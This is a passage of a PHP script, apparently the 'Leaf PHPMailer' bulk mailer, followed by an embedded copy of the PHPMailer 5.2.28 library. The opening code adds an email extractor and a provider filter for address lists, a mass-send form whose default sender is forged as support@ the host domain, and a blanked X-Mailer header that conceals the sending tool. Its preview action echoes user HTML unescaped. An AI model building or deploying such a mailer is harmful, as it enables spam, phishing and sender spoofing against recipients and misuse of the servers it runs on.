        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
